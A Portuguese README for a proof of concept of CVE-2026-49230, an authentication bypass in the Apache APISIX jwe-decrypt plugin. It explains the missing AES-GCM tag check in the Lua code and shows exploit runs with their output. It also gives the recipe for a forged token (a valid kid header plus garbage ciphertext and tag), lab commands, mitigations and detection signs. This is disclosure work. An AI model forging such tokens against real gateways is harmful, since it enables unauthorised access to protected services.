
PoC para CVE-2026-49230: Apache APISIX jwe-decrypt bypass de autenticação (validação de tag AES-GCM ausente, CWE-354, CVSS 9.1)
jwe-decrypt do Apache APISIXProva de conceito para um bypass de autenticação no plugin jwe-decrypt do Apache APISIX. O plugin descriptografa um token JWE e encaminha seu texto simples para o upstream, atuando como uma porta de autenticação — mas ele nunca valida a tag de autenticação AES-GCM. Um token que apenas carrega um kid de consumidor válido é aceito, independentemente de quão falsos sejam seu ciphertext e tag, portanto, um atacante que conheça qualquer chave de consumidor — que viaja em texto simples no cabeçalho de todo token legítimo — passa pela porta sem conhecer o segredo AES.
| CVE | CVE-2026-49230 |
| Produto | Apache APISIX (plugin jwe-decrypt) |
| Afetado | 3.8.0 – 3.16.0 |
| Corrigido | 3.17.0 |
| Classe | CWE-354 — Validação Incorreta do Valor de Verificação de Integridade |
| CVSS 3.1 | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Autenticação | Não autenticado (precisa de um kid de consumidor válido, não o segredo) |
| Publicado | 2026-06-19 |
| Status | CONFIRMADO — reproduzido de ponta a ponta na 3.16.0; rejeitado na 3.17.0 |
apisix/plugins/jwe-decrypt.lua (tag 3.16.0):
local function jwe_decrypt_with_obj(o, consumer)
...
local decrypted = aes_default:decrypt(dec(o.ciphertext), dec(o.tag))
return decrypted -- retorna UM valor
end
function _M.rewrite(conf, ctx)
...
local plaintext, err = jwe_decrypt_with_obj(jwe_obj, consumer)
if err ~= nil then -- err é SEMPRE nil -> guarda morto
return 400, { message = "failed to decrypt JWE token" }
end
core.request.set_header(ctx, conf.forward_header, plaintext) -- solicitação passa
end
aes:decrypt() retorna nil quando a tag de autenticação GCM não corresponde, mas esse valor de retorno é descartado e o chamador inspeciona um err inexistente, que é sempre nil. A verificação de integridade, portanto, nunca é aplicada: qualquer JWE com um kid resolvível é autenticado. O segredo AES — a única coisa que um atacante não deveria ter — nunca é realmente necessário.
A correção na 3.17.0 propaga o erro (return decrypted, err) e altera a guarda para if not plaintext then return 400. A mesma correção também remove a API pública de emissão de tokens do plugin, GET /apisix/plugin/jwe/encrypt.
Veja ANALYSIS.md para a análise completa em nível de código.
python3 exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
[*] consumer kid : alice-key (NO AES secret used)
[*] forged JWE : eyJhbGciOiAiZGlyI...fQ..MTIzNDU2Nzg5MDEy.Rk9SR0VE.MDAwMDAw...
[1] no token -> HTTP 403 {"message":"missing JWE token in request"}
[2] forged JWE token -> HTTP 200 UPSTREAM-REACHED path=/protected/secret auth=None
[+] CONFIRMED: auth bypass. Forged token with no secret reached the upstream.
O token forjado é base64url(header{kid}) . "" . iv . garbage_ciphertext . garbage_tag. Apenas o cabeçalho (com um kid válido) importa; tudo após ele é lixo escolhido pelo atacante.
cd lab
./setup.sh # etcd + APISIX 3.16.0 + backend + consumer + route (--network host)
python3 ../exploit.py http://127.0.0.1:9080/protected/x --kid alice-key
APISIX_IMAGE=apache/apisix:3.17.0-debian ./setup.sh # mesmo teste rejeita na build corrigida
./teardown.sh
Este ambiente não tem bridge Docker, então o laboratório usa --network host (etcd em :2379, plano de dados APISIX :9080, admin :9180, backend :8080).
Todo controle, exceto a verificação de integridade GCM, é aplicado, e o token forjado idêntico passa de 200 para 400 através do limite da correção — o bypass é especificamente a validação de integridade ausente, não uma rota mal configurada. Transcrição completa em EVIDENCE.txt.
Qualquer upstream que confie na porta jwe-decrypt do APISIX para autenticação pode ser alcançado por um atacante não autenticado que possua um único kid de consumidor válido. Como um kid válido é exposto em texto simples dentro do cabeçalho JWE de todo token emitido legitimamente, um token capturado ou vazado — ou uma chave de consumidor adivinhável — é suficiente para forjar tokens aceitos ilimitados e contornar o limite de autenticação do gateway.
jwe-decrypt como o único controle de autenticação; adicione um plugin de autenticação independente (ex.: key-auth/jwt-auth) ou uma verificação upstream que valide a identidade encaminhada.Requisições que autenticam via jwe-decrypt mas encaminham um cabeçalho de identidade vazio/ausente para o upstream (a descriptografia produziu silenciosamente nil) são um forte sinal. Vigie requisições Authorization: Bearer <jwe> que passam pelo gateway enquanto o upstream não recebe nenhum cabeçalho encaminhado utilizável.
Pesquisa e PoC por Caio Fabrício (@BiiTts).
MIT — veja LICENSE.
| Requisição | 3.16.0 (vulnerável) | 3.17.0 (corrigido) |
|---|
| sem token | 403 missing JWE token | — |
| token malformado (<5 partes) | 400 JWE token invalid | — |
kid inválido + criptografia lixo | 400 invalid kid | — |
kid válido + criptografia lixo | 200 upstream alcançado | 400 failed to decrypt |